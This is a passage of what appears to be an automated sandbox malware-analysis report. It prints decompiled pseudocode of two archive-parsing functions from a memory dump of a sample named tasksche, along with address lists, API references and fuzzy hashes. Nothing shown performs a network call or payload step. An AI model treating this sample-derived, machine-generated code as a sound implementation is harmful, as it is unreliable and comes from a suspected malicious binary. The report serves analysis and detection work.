				signed int _t179;
				void* _t182;
				signed char _t183;
				void* _t196;
				void* _t205;
				signed char _t207;
				void* _t217;
				signed char _t218;
				void* _t232;
				signed char _t234;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				void* _t247;
				signed char _t250;
				void* _t251;
				char* _t252;
				void* _t253;
				intOrPtr _t255;
				signed int _t260;
				intOrPtr _t262;
				signed char _t277;
				signed char _t280;
				signed char _t283;
				intOrPtr _t307;
				intOrPtr _t310;
				signed int _t312;
				signed char _t314;
				signed char _t316;
				void* _t318;
				void* _t320;
				signed int _t326;
				signed int _t339;

				_t312 = __edx;
				_t318 = _t320 - 0x6c;
				E0041AAF0(0x20c0);
				_t314 =  *(_t318 + 0x74);
				 *((intOrPtr*)(_t318 + 0x68)) = __ecx;
				_t255 =  *((intOrPtr*)(_t314 + 0x14));
				_t142 = _t255 -  *(_t318 + 0x78);
				if(_t142 <  *(_t314 + 0x18)) {
					L83:
					return _t142;
				}
				 *(_t314 + 0x18) = _t142;
				if(_t255 - _t142 >= 2) {
					_t316 =  *(_t318 + 0x7c);
					while(1) {
						_t142 = E0040B60D(_t312);
						 *(_t318 + 0x64) = _t312;
						if((_t142 | _t312) == 0) {
							break;
						}
						_t260 =  *(_t314 + 0x18);
						_t312 =  *((intOrPtr*)(_t314 + 0x14)) - _t260;
						if(_t312 == 0) {
							break;
						}
						_t326 =  *(_t318 + 0x64);
						if(_t326 > 0 || _t326 >= 0 && _t142 > _t312) {
							break;
						} else {
							_t246 = _t260 + _t142;
							 *(_t318 + 0x78) = _t246;
							_t143 = E0040B60D(_t312);
							_t247 = _t246 -  *(_t314 + 0x18);
							 *(_t318 + 0x64) =  *(_t318 + 0x64) & 0x00000000;
							 *((intOrPtr*)(_t318 + 0x58)) = _t143;
							 *(_t318 + 0x5c) = _t312;
							if( *((intOrPtr*)(_t316 + 4)) == 1 && _t143 == 1 && _t312 == 0) {
								 *((char*)(_t316 + 0x1e)) = _t143;
								_t234 = E0040B60D(_t312);
								 *(_t318 + 0x74) = _t234;
								if((_t234 & 0x00000001) != 0) {
									_t239 = E0040B60D(_t312);
									 *(_t318 + 0x4c) = _t239;
									if((_t239 | _t312) != 0) {
										_t310 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t310 + 0xb040)) +  *(_t318 + 0x4c);
										 *((intOrPtr*)(_t316 + 0x24)) =  *((intOrPtr*)(_t310 + 0xb044));
									}
								}
								if(( *(_t318 + 0x74) & 0x00000002) != 0) {
									_t235 = E0040B60D(_t312);
									 *(_t318 + 0x44) = _t235;
									if((_t235 | _t312) != 0) {
										_t307 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x30)) =  *((intOrPtr*)(_t307 + 0xb040)) +  *(_t318 + 0x44);
										 *((intOrPtr*)(_t316 + 0x34)) =  *((intOrPtr*)(_t307 + 0xb044));
									}
								}
							}
							_t262 =  *((intOrPtr*)(_t316 + 4));
							if(_t262 == 2 || _t262 == 3) {
								_t312 = 0;
								_t339 =  *(_t318 + 0x5c);
								if(_t339 > 0 || _t339 >= 0 &&  *((intOrPtr*)(_t318 + 0x58)) > 7) {
									goto L81;
								} else {
									_t147 =  *((intOrPtr*)(_t318 + 0x58)) - 1;
									if(_t147 == 0) {
										_t148 = E0040B60D(_t312);
										__eflags = _t148;
										if(_t148 <= 0) {
											_t149 = E0040B60D(_t312);
											 *(_t316 + 0x10b1) = _t149 & 0x00000001;
											 *(_t316 + 0x10ba) = _t149 >> 0x00000001 & 0x00000001;
											_t153 = E0040B562(_t314) & 0x000000ff;
											 *(_t316 + 0x10dc) = _t153;
											__eflags = _t153 - 0x18;
											if(_t153 > 0x18) {
												E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
											}
											E0040B696(_t314, _t316 + 0x1091, 0x10);
											E0040B696(_t314, _t316 + 0x10a1, 0x10);
											__eflags =  *(_t316 + 0x10b1);
											if( *(_t316 + 0x10b1) != 0) {
												_t248 = _t316 + 0x10b2;
												E0040B696(_t314, _t316 + 0x10b2, 8);
												E0040B696(_t314, _t318 + 0x54, 4);
												E004106AE(_t318 - 0x54);
												E004109B0(_t318 - 0x54, _t316 + 0x10b2, 8);
												E00410A29(_t314, _t312, __eflags, _t318 - 0x54, _t318 + 0x24);
												_t170 = E0041AC04(_t318 + 0x54, _t318 + 0x24, 4);
												_t320 = _t320 + 0xc;
												asm("sbb al, al");
												__eflags =  *((intOrPtr*)(_t316 + 4)) - 3;
												 *(_t316 + 0x10b1) =  ~_t170 + 1;
												if( *((intOrPtr*)(_t316 + 4)) == 3) {
													_t173 = E0041AC04(_t248, 0x42a49c, 8);
													_t320 = _t320 + 0xc;
													__eflags = _t173;
													if(_t173 == 0) {
														 *(_t316 + 0x10b1) = _t173;
													}
												}
											}
											 *((char*)(_t316 + 0x1090)) = 1;
											 *((intOrPtr*)(_t316 + 0x108c)) = 5;
											 *((char*)(_t316 + 0x108b)) = 1;
										} else {
											E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
										}
										goto L81;
									}
									_t178 = _t147 - 1;
									if(_t178 == 0) {
										_t179 = E0040B60D(_t312);
										__eflags = _t179;
										if(_t179 != 0) {
											goto L81;
										}
										_push(0x20);
										 *((intOrPtr*)(_t316 + 0x1060)) = 3;
										_push(_t316 + 0x1064);
										L33:
										E0040B696(_t314);
										goto L81;
									}
									_t182 = _t178 - 1;
									if(_t182 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L58:
											_t183 = E0040B60D(_t312);
											_t250 = _t183 & 0x00000001;
											 *(_t318 + 0x77) = _t183;
											__eflags = _t183 & 0x00000002;
											if((_t183 & 0x00000002) != 0) {
												_t283 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1030, E0040B5EC(_t283, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1030, _t312, E0040B5AF(_t283), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000004;
											if(( *(_t318 + 0x77) & 0x00000004) != 0) {
												_t280 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1038, E0040B5EC(_t280, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1038, _t312, E0040B5AF(_t280), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000008;
											if(( *(_t318 + 0x77) & 0x00000008) != 0) {
												_t277 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1040, E0040B5EC(_t277, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1040, _t312, E0040B5AF(_t277), 0);
												}
											}
											goto L81;
										}
										__eflags = _t247 - 9;
										if(_t247 < 9) {
											goto L81;
										}
										goto L58;
									}
									_t196 = _t182 - 1;
									if(_t196 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L53:
											E0040B60D(_t312);
											__eflags = E0040B60D(_t312);
											if(__eflags != 0) {
												 *((char*)(_t316 + 0x10e3)) = 1;
												E0040BC16(_t318 + 0x1c, 0x14, ";%u", _t198);
												_t320 = _t320 + 0x10;
												E00410BC9(__eflags,  *((intOrPtr*)(_t318 + 0x68)) + 0x6608, _t318 + 0x1c, 0x800);
											}
											goto L81;
										}
										__eflags = _t247 - 1;
										if(_t247 < 1) {
											goto L81;
										}
										goto L53;
									}
									_t205 = _t196 - 1;
									if(_t205 == 0) {
										 *((intOrPtr*)(_t316 + 0x10f0)) = E0040B60D(_t312);
										_t207 = E0040B60D(_t312);
										_t290 = _t314;
										 *(_t316 + 0x20f4) = _t207 & 0x00000001;
										_t251 = E0040B60D(_t312);
										 *((char*)(_t318 - 0x2054)) = 0;
										__eflags = _t251 - 0x1fff;
										if(_t251 < 0x1fff) {
											_t290 = _t314;
											E0040B696(_t314, _t318 - 0x2054, _t251);
											 *((char*)(_t318 + _t251 - 0x2054)) = 0;
										}
										E0040A277(_t318 - 0x2054, _t318 - 0x2054, 0x2000);
										E00411CD1(_t290, _t318 - 0x2054, _t316 + 0x10f4, 0x800);
										goto L81;
									}
									_t217 = _t205 - 1;
									if(_t217 == 0) {
										_t218 = E0040B60D(_t312);
										 *(_t316 + 0x20f6) = _t218 >> 0x00000002 & 0x00000001;
										_t252 = _t316 + 0x20f8;
										 *(_t318 + 0x7c) = _t218;
										 *(_t316 + 0x20f7) = _t218 >> 0x00000003 & 0x00000001;
										 *((char*)(_t316 + 0x21f8)) = 0;
										 *_t252 = 0;
										__eflags = _t218 & 0x00000001;
										if((_t218 & 0x00000001) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											E0040B696(_t314, _t252,  *(_t318 + 0x74));
											 *((char*)(_t252 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t318 + 0x7c) & 0x00000002;
										if(( *(_t318 + 0x7c) & 0x00000002) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											_t253 = _t316 + 0x21f8;
											E0040B696(_t314, _t253,  *(_t318 + 0x74));
											 *((char*)(_t253 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t316 + 0x20f6);
										if( *(_t316 + 0x20f6) != 0) {
											 *((intOrPtr*)(_t316 + 0x22f8)) = E0040B60D(_t312);
										}
										__eflags =  *(_t316 + 0x20f7);
										if( *(_t316 + 0x20f7) != 0) {
											 *((intOrPtr*)(_t316 + 0x22fc)) = E0040B60D(_t312);
										}
										 *((char*)(_t316 + 0x20f5)) = 1;
										goto L81;
									}
									if(_t217 != 1) {
										goto L81;
									}
									if(_t262 == 3) {
										_t232 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t318 + 0x78);
										if(_t232 == 1) {
											_t247 = _t247 + _t232;
											asm("adc eax, edx");
										}
									}
									E00401C1D(_t316 + 0x1020, _t247);
									_push(_t247);
									_push( *((intOrPtr*)(_t316 + 0x1020)));
									goto L33;
								}
							} else {
								L81:
								 *(_t314 + 0x18) =  *(_t318 + 0x78);
								_t142 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t314 + 0x18);
								if(_t142 >= 2) {
									continue;
								}
								break;
							}
						}
					}
				}
			}

0x0040272e
0x0040272f
0x00402738
0x0040273e
0x00402741
0x00402744
0x00402749
0x0040274f
0x00402c84
0x00402c88
0x00402c88
0x00402757
0x0040275d
0x00402764
0x00402768
0x0040276a
0x00402773
0x00402776
0x00000000
0x00000000
0x0040277c
0x00402782
0x00402784
0x00000000
0x00000000
0x0040278c
0x0040278f
0x00000000
0x0040279f
0x0040279f
0x004027a4
0x004027a7
0x004027ac
0x004027af
0x004027b7
0x004027ba
0x004027bd
0x004027ca
0x004027cd
0x004027d2
0x004027d7
0x004027db
0x004027e0
0x004027e5
0x004027e7
0x004027f9
0x004027fb
0x004027fe
0x004027fe
0x004027e5
0x00402805
0x00402809
0x0040280e
0x00402813
0x00402815
0x00402827
0x00402829
0x0040282c
0x0040282c
0x00402813
0x00402805
0x0040282f
0x00402835
0x00402840
0x00402842
0x00402845
0x00000000
0x00402857
0x0040285a
0x0040285b
0x00402b57
0x00402b5c
0x00402b5e
0x00402b73
0x00402b7f
0x00402b89
0x00402b94
0x00402b97
0x00402b9d
0x00402ba0
0x00402ba9
0x00402ba9
0x00402bb9
0x00402bc9
0x00402bce
0x00402bd5
0x00402bd9
0x00402be2
0x00402bef
0x00402bf8
0x00402c04
0x00402c11
0x00402c20
0x00402c25
0x00402c2a
0x00402c2e
0x00402c32
0x00402c38
0x00402c42
0x00402c47
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c4e
0x00402c4c
0x00402c38
0x00402c54
0x00402c5b
0x00402c65
0x00402b60
0x00402b67
0x00402b67
0x00000000
0x00402b5e
0x00402861
0x00402862
0x00402b30
0x00402b35
0x00402b37
0x00000000
0x00000000
0x00402b3d
0x00402b45
0x00402b4f
0x004028b1
0x004028b3
0x00000000
0x004028b3
0x00402868
0x00402869
0x00402a68
0x00402a6b
0x00000000
0x00000000
0x00402a71
0x00402a7c
0x00402a7e
0x00402a85
0x00402a88
0x00402a8b
0x00402a8d
0x00402a8f
0x00402a91
0x00402a93
0x00402ab7
0x00402a95
0x00402aa3
0x00402aa3
0x00402a93
0x00402abc
0x00402ac0
0x00402ac2
0x00402ac4
0x00402ac6
0x00402aea
0x00402ac8
0x00402ad6
0x00402ad6
0x00402ac6
0x00402aef
0x00402af3
0x00402af9
0x00402afb
0x00402afd
0x00402b24
0x00402aff
0x00402b0d
0x00402b0d
0x00402afd
0x00000000
0x00402af3
0x00402a73
0x00402a76
0x00000000
0x00000000
0x00000000
0x00402a76
0x0040286f
0x00402870
0x00402a07
0x00402a0a
0x00000000
0x00000000
0x00402a10
0x00402a1b
0x00402a1d
0x00402a29
0x00402a2b
0x00402a3d
0x00402a44
0x00402a49
0x00402a5e
0x00402a5e
0x00000000
0x00402a2b
0x00402a12
0x00402a15
0x00000000
0x00000000
0x00000000
0x00402a15
0x00402876
0x00402877
0x00402996
0x0040299c
0x004029a3
0x004029a5
0x004029b0
0x004029b2
0x004029b9
0x004029bf
0x004029c9
0x004029cb
0x004029d0
0x004029d0
0x004029e5
0x004029fd
0x00000000
0x004029fd
0x0040287d
0x0040287e
0x004028bf
0x004028cc
0x004028da
0x004028e0
0x004028e3
0x004028e9
0x004028f0
0x004028f3
0x004028f5
0x004028fe
0x00402906
0x00402909
0x0040290b
0x0040290b
0x00402914
0x0040291c
0x0040291c
0x00402920
0x00402924
0x0040292d
0x00402935
0x00402938
0x0040293a
0x0040293a
0x00402940
0x00402949
0x00402951
0x00402951
0x00402955
0x0040295c
0x00402965
0x00402965
0x0040296b
0x00402972
0x0040297b
0x0040297b
0x00402981
0x00000000
0x00402981
0x00402881
0x00000000
0x00000000
0x0040288a
0x0040288f
0x00402895
0x00402897
0x0040289c
0x0040289c
0x00402895
0x004028a5
0x004028aa
0x004028ab
0x00000000
0x004028ab
0x00402c6c
0x00402c6c
0x00402c6f
0x00402c75
0x00402c7b
0x00000000
0x00000000
0x00000000
0x00402c7b
0x00402835
0x0040278f
0x00402c82

APIs

_swprintf.LIBCMT ref: 00402A44

Strings

;%u, xrefs: 00402A32

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _swprintf
String ID: ;%u
API String ID: 589789837-535004727
Opcode ID: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction ID: 268b90de5ef8301e543b0e1450f18e5b796866e9caf2f0e9a7a428077d8a2ebb
Opcode Fuzzy Hash: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction Fuzzy Hash: ADE114702007445ADB24EF75C699BEE77E5AF40304F04053FE996A72C2DBBCA984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416790 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416790(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				void* _t181;
				signed int _t184;
				signed int _t185;
				signed int _t190;
				signed int _t194;
				signed int _t195;
				intOrPtr _t196;
				signed int _t197;
				signed int _t203;
				signed int _t215;
				signed int _t248;
				signed int _t250;
				intOrPtr* _t263;
				signed int _t264;
				signed int* _t266;
				signed int _t267;
				signed int* _t268;
				signed int* _t269;
				intOrPtr* _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr _t281;
				signed int* _t310;
				void* _t319;
				signed int _t321;
				signed int* _t328;
				signed int _t329;
				void* _t330;
				void* _t332;
				signed int _t334;
				signed int _t335;
				void* _t338;
				signed int _t340;
				signed int _t342;
				void* _t343;
				void* _t345;
				void* _t346;
				void* _t347;
				void* _t349;

				_t319 = __edx;
				E0041A4DC(E0042981F, _t343);
				_t346 = _t345 - 0x24;
				_t332 = __ecx;
				_t263 = __ecx + 0xe694;
				_t176 = 0x8000;
				 *((intOrPtr*)(_t343 - 0x10)) = _t263;
				 *((intOrPtr*)(_t263 + 4)) = 0;
				 *_t263 = 0;
				if( *(_t343 + 0x10) <= 0x8000) {
					_t176 =  *(_t343 + 0x10);
				}
				E0041C290(_t263, 0, _t332,  *((intOrPtr*)(_t332 + 0xe6a0)),  *(_t343 + 0xc), _t176);
				_t347 = _t346 + 0xc;
				 *((intOrPtr*)(_t343 - 0x14)) = _t332 + 0xe65c;
				E0040AB32(_t332 + 0xe65c);
				_t352 =  *(_t343 + 8) & 0x00000080;
				if(( *(_t343 + 8) & 0x00000080) == 0) {
					_t179 =  *(_t332 + 0xe6d4);
					 *(_t343 + 0xc) = _t179;
					_t264 = _t179;
				} else {
					_t264 = E0040AB58(_t352, _t263);
					 *(_t343 + 0xc) = _t264;
					if(_t264 != 0) {
						_t264 = _t264 - 1;
						 *(_t343 + 0xc) = _t264;
					} else {
						E004152CD(_t332, 0);
					}
				}
				_t180 =  *(_t332 + 0xe6a8);
				if(_t264 > _t180 || _t264 >  *((intOrPtr*)(_t332 + 0xe6c8))) {
					L16:
					_t181 = 0;
					goto L17;
				} else {
					_push(0x70);
					 *(_t332 + 0xe6d4) = _t264;
					 *((char*)(_t343 + 0x13)) = _t264 == _t180;
					_t328 = E0041A89A(_t264, _t319, 0, _t264 - _t180);
					if(_t328 == 0) {
						_t328 = 0;
						__eflags = 0;
					} else {
						_t21 =  &(_t328[5]); // 0x14
						E004156C4(_t21);
					}
					if( *((char*)(_t343 + 0x13)) == 0) {
						_t184 =  *( *((intOrPtr*)(_t332 + 0xe6a4)) + _t264 * 4);
						_t328[4] = _t264;
						_t266 = _t184 + 8;
						 *_t266 =  *_t266 + 1;
						__eflags =  *_t266;
						 *(_t343 - 0x1c) = _t184;
						goto L23;
					} else {
						if(_t264 <= 0x2000) {
							E004129F9(_t332 + 0xe6a4, 1);
							_push(0x70);
							_t274 = E0041A89A(_t264, _t319, _t328, __eflags);
							__eflags = _t274;
							if(_t274 == 0) {
								_t274 = 0;
								__eflags = 0;
							} else {
								_t25 = _t274 + 0x14; // 0x14
								E004156C4(_t25);
							}
							 *( *((intOrPtr*)(_t332 + 0xe6a4)) +  *(_t332 + 0xe6a8) * 4 - 4) = _t274;
							 *(_t343 - 0x1c) = _t274;
							_t328[4] =  *(_t332 + 0xe6a8) - 1;
							E004148ED(_t332 + 0xe6c4, 0);
							_t266 = _t274 + 8;
							 *_t266 =  *_t266 & 0x00000000;
							L23:
							_t185 = 0;
							 *(_t343 - 0x18) = 0;
							 *(_t343 - 0x20) = 0;
							__eflags =  *(_t332 + 0xe6b8);
							if( *(_t332 + 0xe6b8) <= 0) {
								L30:
								__eflags =  *(_t332 + 0xe6b8) - 0x2000;
								if( *(_t332 + 0xe6b8) > 0x2000) {
									goto L16;
								}
								E004129F9(_t332 + 0xe6b4, 1);
								_t321 = 1;
								__eflags = 1;
								L32:
								 *( *((intOrPtr*)(_t332 + 0xe6b4)) + ( *(_t332 + 0xe6b8) - _t321) * 4) = _t328;
								_t328[2] =  *_t266;
								_t190 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
								__eflags =  *(_t343 + 8) & 0x00000040;
								_t267 = _t190;
								if(( *(_t343 + 8) & 0x00000040) != 0) {
									_t267 = _t267 + 0x102;
									__eflags = _t267;
								}
								__eflags =  *(_t343 + 8) & 0x00000020;
								 *_t328 =  *((intOrPtr*)(_t332 + 0x70)) + _t267 &  *(_t332 + 0xe6dc);
								if(__eflags == 0) {
									_t194 =  *(_t343 + 0xc);
									__eflags = _t194 -  *((intOrPtr*)(_t332 + 0xe6c8));
									if(_t194 >=  *((intOrPtr*)(_t332 + 0xe6c8))) {
										_t195 = 0;
										__eflags = 0;
									} else {
										_t195 =  *( *((intOrPtr*)(_t332 + 0xe6c4)) + _t194 * 4);
									}
									_t328[1] = _t195;
								} else {
									_t248 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
									_t328[1] = _t248;
									 *( *((intOrPtr*)(_t332 + 0xe6c4)) +  *(_t343 + 0xc) * 4) = _t248;
								}
								_t196 =  *((intOrPtr*)(_t332 + 0x74));
								_t281 =  *((intOrPtr*)(_t332 + 0x70));
								__eflags = _t196 - _t281;
								if(_t196 == _t281) {
									L43:
									_t197 = 0;
									__eflags = 0;
									goto L44;
								} else {
									__eflags = (_t196 - _t281 &  *(_t332 + 0xe6dc)) - _t267;
									if((_t196 - _t281 &  *(_t332 + 0xe6dc)) > _t267) {
										goto L43;
									}
									_t197 = 1;
									L44:
									_t91 =  &(_t328[0x13]); // 0x4c
									_t268 = _t91;
									_t328[3] = _t197;
									E0041A820(_t328, _t268, 0, 0x1c);
									_t328[0x17] = _t328[1];
									_t349 = _t347 + 0xc;
									__eflags =  *(_t343 + 8) & 0x00000010;
									_t328[0x16] = 0x3c000;
									_t328[0x18] = _t328[2];
									if(( *(_t343 + 8) & 0x00000010) == 0) {
										L49:
										__eflags =  *((char*)(_t343 + 0x13));
										if(__eflags == 0) {
											_t334 =  *(_t343 - 0x1c);
											L60:
											_t328[9] =  *(_t334 + 0x14);
											_t328[0xa] =  *(_t334 + 0x28);
											_t203 =  *(_t334 + 0x40);
											 *(_t343 + 0x10) = _t203;
											__eflags = _t203 - 1 - 0x1ffe;
											if(_t203 - 1 <= 0x1ffe) {
												_t136 =  &(_t328[0xf]); // 0x3c
												E00401106(_t136, _t203);
												E0041C290(_t136, _t328, _t334,  *_t136,  *((intOrPtr*)(_t334 + 0x3c)),  *(_t343 + 0x10));
												_t349 = _t349 + 0xc;
											}
											__eflags = _t328[0xc] - 0x40;
											if(_t328[0xc] < 0x40) {
												_t140 =  &(_t328[0xb]); // 0x2c
												E00401B67(_t140);
												E00401106(_t140, 0x40);
											}
											_t141 =  &(_t328[0xb]); // 0x2c
											_t269 = _t141;
											_t335 =  *_t269;
											_t142 =  &(_t328[0x13]); // 0x4c
											 *(_t343 + 0xc) = _t335;
											 *(_t343 + 0x10) = _t142;
											 *(_t343 - 0x20) = 7;
											do {
												E0040AB4B( *(_t343 + 0xc),  *( *(_t343 + 0x10)));
												 *(_t343 + 0x10) =  *(_t343 + 0x10) + 4;
												 *(_t343 + 0xc) =  *(_t343 + 0xc) + 4;
												_t153 = _t343 - 0x20;
												 *_t153 =  *(_t343 - 0x20) - 1;
												__eflags =  *_t153;
											} while ( *_t153 != 0);
											_t157 = _t335 + 0x1c; // 0x48
											E0040AB4B(_t157, _t328[1]);
											_t159 = _t335 + 0x20; // 0x4c
											E0040AB4B(_t159, 0);
											_t162 = _t335 + 0x2c; // 0x58
											E0040AB4B(_t162, _t328[2]);
											E0041A820(_t328, _t335 + 0x30, 0, 0x10);
											__eflags =  *(_t343 + 8) & 0x00000008;
											if(( *(_t343 + 8) & 0x00000008) == 0) {
												L74:
												_t181 = 1;
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t343 - 0xc));
												return _t181;
											}
											_t214 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if(__eflags >= 0) {
												goto L16;
											}
											_t215 = E0040AB58(__eflags, _t214);
											 *(_t343 + 8) = _t215;
											__eflags = _t215 - 0x1fc0;
											if(_t215 > 0x1fc0) {
												goto L16;
											}
											_t329 = _t328[0xc];
											_t169 = _t215 + 0x40; // 0x40
											__eflags = _t329 - _t169;
											if(_t329 < _t169) {
												__eflags = _t215 - _t329 + 0x40;
												E00401106(_t269, _t215 - _t329 + 0x40);
											}
											_t330 = 0;
											_t338 =  *_t269 + 0x40;
											__eflags =  *(_t343 + 8);
											if( *(_t343 + 8) <= 0) {
												goto L74;
											} else {
												while(1) {
													_t270 =  *((intOrPtr*)(_t343 - 0x10));
													__eflags =  *_t270 + 3 - 0x8000;
													if( *_t270 + 3 >= 0x8000) {
														goto L16;
													}
													 *((char*)(_t330 + _t338)) = E004097D1(_t270) >> 8;
													E004097BA(_t270, 8);
													_t330 = _t330 + 1;
													__eflags = _t330 -  *(_t343 + 8);
													if(_t330 <  *(_t343 + 8)) {
														continue;
													}
													goto L74;
												}
												goto L16;
											}
										}
										_t272 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										 *(_t343 + 0x10) = _t272;
										__eflags = _t272 - 0x10000;
										if(_t272 >= 0x10000) {
											goto L16;
										}
										_t340 = 0;
										__eflags = _t272;
										if(_t272 == 0) {
											goto L16;
										}
										E00406760(_t343 - 0x30, _t272);
										__eflags = _t272;
										_t273 =  *(_t343 - 0x30);
										 *(_t343 - 4) = 0;
										if(_t272 <= 0) {
											L55:
											_t334 =  *(_t343 - 0x1c);
											E0040AD8E( *((intOrPtr*)(_t343 - 0x14)), _t273,  *(_t343 + 0x10), _t334 + 0x14);
											 *(_t343 - 4) =  *(_t343 - 4) | 0xffffffff;
											__eflags = _t273;
											if(__eflags != 0) {
												_push(_t273);
												E0041A506(_t273, _t328, _t334, __eflags);
											}
											goto L60;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t299 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if( *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 >= 0x8000) {
												break;
											}
											 *((char*)(_t273 + _t340)) = E004097D1(_t299) >> 8;
											E004097BA( *((intOrPtr*)(_t343 - 0x10)), 8);
											_t340 = _t340 + 1;
											__eflags = _t340 -  *(_t343 + 0x10);
											if(_t340 <  *(_t343 + 0x10)) {
												continue;
											}
											goto L55;
										}
										__eflags = _t273;
										if(__eflags != 0) {
											_push(_t273);
											E0041A506(_t273, _t328, _t340, __eflags);
										}
										goto L16;
									}
									_t342 = E004097D1( *((intOrPtr*)(_t343 - 0x10))) >> 9;
									E004097BA( *((intOrPtr*)(_t343 - 0x10)), 7);
									_t103 = _t343 + 0xc;
									 *_t103 =  *(_t343 + 0xc) & 0x00000000;
									__eflags =  *_t103;
									do {
										__eflags = _t342 & 1 <<  *(_t343 + 0xc);
										if(__eflags != 0) {
											 *_t268 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										}
										 *(_t343 + 0xc) =  *(_t343 + 0xc) + 1;
										_t268 =  &(_t268[1]);
										__eflags =  *(_t343 + 0xc) - 7;
									} while ( *(_t343 + 0xc) < 7);
									goto L49;
								}
							} else {
								goto L24;
							}
							do {
								L24:
								 *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + (_t185 -  *(_t343 - 0x18)) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + _t185 * 4));
								_t250 =  *(_t343 - 0x20);
								_t310 =  *((intOrPtr*)(_t332 + 0xe6b4)) + _t250 * 4;
								__eflags =  *_t310;
								if( *_t310 == 0) {
									_t55 = _t343 - 0x18;
									 *_t55 =  *(_t343 - 0x18) + 1;
									__eflags =  *_t55;
								}
								_t321 =  *(_t343 - 0x18);
								__eflags = _t321;
								if(_t321 > 0) {
									 *_t310 =  *_t310 & 0x00000000;
									__eflags =  *_t310;
								}
								_t185 = _t250 + 1;
								 *(_t343 - 0x20) = _t185;
								__eflags = _t185 -  *(_t332 + 0xe6b8);
							} while (_t185 <  *(_t332 + 0xe6b8));
							__eflags = _t321;
							if(__eflags != 0) {
								goto L32;
							}
							goto L30;
						}
						if(_t328 != 0) {
							E00414F64(_t264, _t328, _t328, _t343, 1);
						}
						goto L16;
					}
				}
			}

APIs

__EH_prolog.LIBCMT ref: 00416795

Part of subcall function 004129F9: _realloc.LIBCMT ref: 00412A51

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

_memset.LIBCMT ref: 004169F6
_memset.LIBCMT ref: 00416BB0

Strings

, xrefs: 00416992

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
